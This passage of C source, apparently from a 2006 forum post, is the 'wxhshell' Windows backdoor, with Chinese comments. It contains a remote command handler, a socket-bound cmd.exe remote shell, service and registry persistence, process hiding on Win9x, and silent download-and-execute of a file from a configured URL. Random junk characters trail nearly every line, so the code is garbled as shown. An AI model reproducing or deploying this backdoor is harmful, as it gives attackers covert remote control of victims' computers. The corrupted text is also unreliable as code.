  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4%4Yqx )  
  else nW`] =  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 30<_`  
  } >Bu _NoM  
  else { wxN&k$`a  
`|PhXr  
    switch(cmd[0]) { NN5G '|i  
  0Hx'C^m72  
  // 帮助 _:FD#5BZ1  
  case '?': { E,fbIyX  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); qTN30(x2  
    break; E= .clA  
  } +:W?:\  
  // 安装 t>x!CNb'C  
  case 'i': { )-h{0o  
    if(Install()) 7I*rtc&Kb  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); o6:@j#b  
    else wr~Qy4 ny  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); S]A[eUF~  
    break; vQj{yJ\l1  
    } &*oljGt8  
  // 卸载 q\<NW%KtX  
  case 'r': { [ua[A;K  
    if(Uninstall()) $ab{GxmX'4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Sj IDzNI5  
    else z2Z}mktP  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .EvP%A m  
    break; 93ggCOaYA  
    } c[$i )\0  
  // 显示 wxhshell 所在路径 )|#ExyRO  
  case 'p': { $.31<@T7  
    char svExeFile[MAX_PATH]; 'v=BAY=Ef  
    strcpy(svExeFile,"\n\r"); ap,zC)[  
      strcat(svExeFile,ExeFile); MZqHL4<|  
        send(wsh,svExeFile,strlen(svExeFile),0); ,XI=e=  
    break; c` N_MP  
    } G_5w5dbG  
  // 重启 T!Lv%i*|Y  
  case 'b': { %Aa_Bumf*:  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 4q(,uk&R[  
    if(Boot(REBOOT)) @Y<fj^]k  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }:[MSUm5  
    else { O&}R  
    closesocket(wsh); {Z1-B60P  
    ExitThread(0); %d<UMbS^  
    } LR'~:46#u  
    break; ,Ek6X)|@  
    } WI.+9$1:P  
  // 关机 !& >LLZ  
  case 'd': { 'Mhnu2d  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); /||8j.Tm  
    if(Boot(SHUTDOWN)) = )4bf"~8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8#9OSupp  
    else { Cv/3-&5S  
    closesocket(wsh); Ns#L9T#  
    ExitThread(0); !3o/c w9  
    } C4t~k  
    break; EW3--33s  
    } / Xv@g$  
  // 获取shell y)TBg8Q  
  case 's': { Bo1 t}#7  
    CmdShell(wsh); ,dF Y]  
    closesocket(wsh); 2vddx<&  
    ExitThread(0); dj}P|v/;z  
    break; )Y"t$Iw"  
  } G^SDB!/@J  
  // 退出 jS5K:yx<  
  case 'x': { 7|Iq4@IT  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); <y"lL>JR  
    CloseIt(wsh); - s2Yhf  
    break; Q5IN1 ^=HF  
    } QUF1_Sa  
  // 离开 " Lh XR  
  case 'q': { 0UGAc]!/RZ  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 238z'I+$G/  
    closesocket(wsh); VTi; y{  
    WSACleanup(); @&9< )1F  
    exit(1); ie7TO{W  
    break; /b6j<]H  
        } PWfd<Yf!  
  } BZjL\{IW  
  } W 9bpKmc  
6)FM83zk)K  
  // 提示信息 w;J#+ik  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); yA`,ns&n  
} &yqk96z  
  } @[n%q.|VB  
Tc|+:Usy  
  return; %;J$ h^  
} ?3i<^@?  
5"+;}E|q  
// shell模块句柄 dbF9%I@  
int CmdShell(SOCKET sock) 5j _[z|W2  
{ ZJ[p7XP  
STARTUPINFO si; "L9pFz</  
ZeroMemory(&si,sizeof(si)); U]ZI_[\'U  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; \tdYTb.  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; '[bw7T  
PROCESS_INFORMATION ProcessInfo; rKl  
char cmdline[]="cmd"; [.;8GMW  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); clM6R  
  return 0; -&QpQ7q1  
} NIC.c3  
9D yy&$s  
// 自身启动模式 $us7fuKE  
int StartFromService(void) lH"VLO2l  
{ 1W9uWkk_d  
typedef struct <u  
{ D@k#'KU  
  DWORD ExitStatus; '2{60t_A  
  DWORD PebBaseAddress; ntZHO}'  
  DWORD AffinityMask; 4*UKR!sr  
  DWORD BasePriority; R]o2_r7N"}  
  ULONG UniqueProcessId; Ihl]"76q/  
  ULONG InheritedFromUniqueProcessId; w" A{R  
}   PROCESS_BASIC_INFORMATION; @^HZTuP2;  
Tb] h<S  
PROCNTQSIP NtQueryInformationProcess; W@~a#~1O  
\JNWL yw  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; K{FBrh  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ]_4HtcL4  
'9AYE"7Ydk  
  HANDLE             hProcess; .;&4'ga4  
  PROCESS_BASIC_INFORMATION pbi; ,@Elw>^  
!ed0  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); BIT<J5>  
  if(NULL == hInst ) return 0;  x![ut  
f6#1sO4"  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); S^~ lQ|D  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 4>]B8ZxH  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); @rr\Jf""z  
hr g'Z5n  
  if (!NtQueryInformationProcess) return 0; ;Udx|1o  
<In+V  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); x0xQFlGk  
  if(!hProcess) return 0; m\K1Ex  
a%wa3N=v  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; /qd~|[Kx:  
rP}0B/  
  CloseHandle(hProcess); %O>_$ 4q  
Q?dzro4C  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); "}< baz  
if(hProcess==NULL) return 0; P_M!h~  
 Lvn+EM  
HMODULE hMod; N$cAX^~  
char procName[255]; q)tNH/  
unsigned long cbNeeded; S#\Cyn2(t  
:A,7D(H|  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); I&5cUj{GX-  
:n oZ p:a  
  CloseHandle(hProcess); 0|(6q=QK  
/? Bu^KX  
if(strstr(procName,"services")) return 1; // 以服务启动 A&Cs (e  
E |=]k  
  return 0; // 注册表启动 i6E~]&~.v  
}  ;.~D!  
' h|d-p\`9  
// 主模块 =%+xNOdN7?  
int StartWxhshell(LPSTR lpCmdLine) L#/<y{  
{ ^]$rh.7&  
  SOCKET wsl; ~|`jIqU  
BOOL val=TRUE; G\*`%B_ n  
  int port=0; A)nE+ec1  
  struct sockaddr_in door; n5?7iU&JIo  
ymA8`k5>@  
  if(wscfg.ws_autoins) Install(); `(@{t:L  
w#;y  
port=atoi(lpCmdLine); p1,.f&(f  
z-`4DlJUS  
if(port<=0) port=wscfg.ws_port; 8|rlP  
/ASpAl[J  
  WSADATA data; A*? Qm  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1;  Kuh)3/7  
@G=_nZxv  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   49 1 1  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); m>'#664q1  
  door.sin_family = AF_INET; 8*(|uX  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); oh >0}Gc8  
  door.sin_port = htons(port); 2Vg+Aly4D  
kJ B u7  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { _;G|3>5u  
closesocket(wsl); IHe?/oUL"b  
return 1; ]DI%7kw'  
} ;vgaFc]  
\B8[UZA.&  
  if(listen(wsl,2) == INVALID_SOCKET) { *0%G`Q  
closesocket(wsl); nsi&r  
return 1; X1%_a.=VF  
} eo4v[V&  
  Wxhshell(wsl); 2B]mD-~  
  WSACleanup(); +InFv" wt  
4J2C# Cs  
return 0; Oa7jLz'i  
uq@_DPA7  
} HQrx9CXE  
_MUSXB'  
// 以NT服务方式启动 Qx77%L4  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) E)( Rhvij  
{ qLm g18  
DWORD   status = 0; wmFS+F4`2  
  DWORD   specificError = 0xfffffff; x]|-2t  
lkgB,cflpi  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 6 kAXE\T  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ?) VBkA5j  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; \v([,tiW%  
  serviceStatus.dwWin32ExitCode     = 0; /QVhT  
  serviceStatus.dwServiceSpecificExitCode = 0; IL<@UWs6  
  serviceStatus.dwCheckPoint       = 0; bH_zWk  
  serviceStatus.dwWaitHint       = 0; 5x' ^.$K >  
. AX6xc6  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); F2mW<REg{  
  if (hServiceStatusHandle==0) return; 6 Y}Bza  
etH]-S  
status = GetLastError(); 7.C~ OrGR  
  if (status!=NO_ERROR) (/Dr=D{ `  
{ KoTQc0b!  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; hSSFmEpr  
    serviceStatus.dwCheckPoint       = 0; -<aN$O  
    serviceStatus.dwWaitHint       = 0; DsGtc<l%  
    serviceStatus.dwWin32ExitCode     = status; -Deqlaf(  
    serviceStatus.dwServiceSpecificExitCode = specificError; 7cZ(gdQ/  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9K_p4 mq  
    return; X h"8uJD  
  } |ea}+N  
~Z x_"  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; P:v|JER   
  serviceStatus.dwCheckPoint       = 0; zgA/B{DaC;  
  serviceStatus.dwWaitHint       = 0; bJ9K!6s??`  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 33b 3v\N  
} O4Hc"v  
NEX{vZkgw  
// 处理NT服务事件,比如:启动、停止 #Ue_  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ]jwF[D  
{ .06[*S  
switch(fdwControl) w:o,mzuXK  
{ vrvOPLiQ  
case SERVICE_CONTROL_STOP: f;%\4TH?  
  serviceStatus.dwWin32ExitCode = 0; _tpqo>  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Ct30EZ  
  serviceStatus.dwCheckPoint   = 0; h$q=NTV  
  serviceStatus.dwWaitHint     = 0; $qh?$a  
  { ;Fm7!@u^0  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); WY" `wM  
  } H6]z98  
  return; wdTjJf r  
case SERVICE_CONTROL_PAUSE: Ce_E S.  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; B&c*KaK;~  
  break; 44(l1xEN+  
case SERVICE_CONTROL_CONTINUE: *9xv0hRQ%?  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; {/SLDyf%Z  
  break; /|2 hW`G  
case SERVICE_CONTROL_INTERROGATE: h;2n2.Q  
  break; @If ^5s;z  
}; Y+UM>  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); SFx|9$hXm  
} UBve a(z-#  
C.oC@P  
// 标准应用程序主函数 P|4qbm4%O,  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) zQ~8(E]Rf  
{ uP veAK}h  
q3-V_~5^/z  
// 获取操作系统版本 OMVK\_oXo  
OsIsNt=GetOsVer(); UFY_.N~  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 0*}%v:uN9  
k874tD  
  // 从命令行安装 x6={)tj  
  if(strpbrk(lpCmdLine,"iI")) Install(); !`?*zf  
6l-V% 3-  
  // 下载执行文件 Q7@.WG5  
if(wscfg.ws_downexe) { o$+"{3svw?  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) x*2'I  
  WinExec(wscfg.ws_filenam,SW_HIDE); !/Wp0E'A  
} or{X{_X7  
%>Y86>mVz  
if(!OsIsNt) { ]S#m o  
// 如果时win9x,隐藏进程并且设置为注册表启动 h#!u"'JW  
HideProc(); ~]&,v|g&  
StartWxhshell(lpCmdLine); l d4#jV ei  
} -<Zs7(  
else S8$kxQg  
  if(StartFromService()) QvN=<V  
  // 以服务方式启动 W_ hckq.  
  StartServiceCtrlDispatcher(DispatchTable); # ^~[\8v>  
else N++jI(  
  // 普通方式启动 (:2,Rr1"  
  StartWxhshell(lpCmdLine); `cBV+00YS  
m?Qr)F_M  
return 0; 3>t^Xu~  
}
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只看该作者 1 发表于: 2006-10-10
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